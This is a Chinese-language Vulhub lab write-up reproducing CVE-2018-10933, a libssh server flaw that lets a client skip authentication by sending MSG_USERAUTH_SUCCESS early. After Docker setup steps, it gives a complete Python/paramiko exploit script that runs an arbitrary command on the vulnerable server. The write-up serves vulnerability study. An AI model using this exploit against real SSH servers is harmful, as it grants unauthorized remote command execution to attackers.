libssh是一个提供ssh相关接口的开源库,包含服务端、客户端等。其服务端代码中存在一处逻辑错误,攻击者可以在认证成功前发送MSG_USERAUTH_SUCCESS
消息,绕过认证过程,未授权访问目标SSH服务器。
参考资料:
- https://www.libssh.org/security/advisories/CVE-2018-10933.txt
- https://www.seebug.org/vuldb/ssvid-97614
Vulhub执行如下命令启动存在漏洞的环境:
docker-compose up -d
环境启动后,我们可以连接your-ip:2222
端口(账号密码:myuser:mypassword
),这是一个合法的ssh流程:
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 myuser@127.0.0.1
参考 https://www.seebug.org/vuldb/ssvid-97614 中给出的POC,我们编写一个简单的漏洞复现脚本:
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
python CVE-2018-10933.py 127.0.0.1 2222 "ps aux"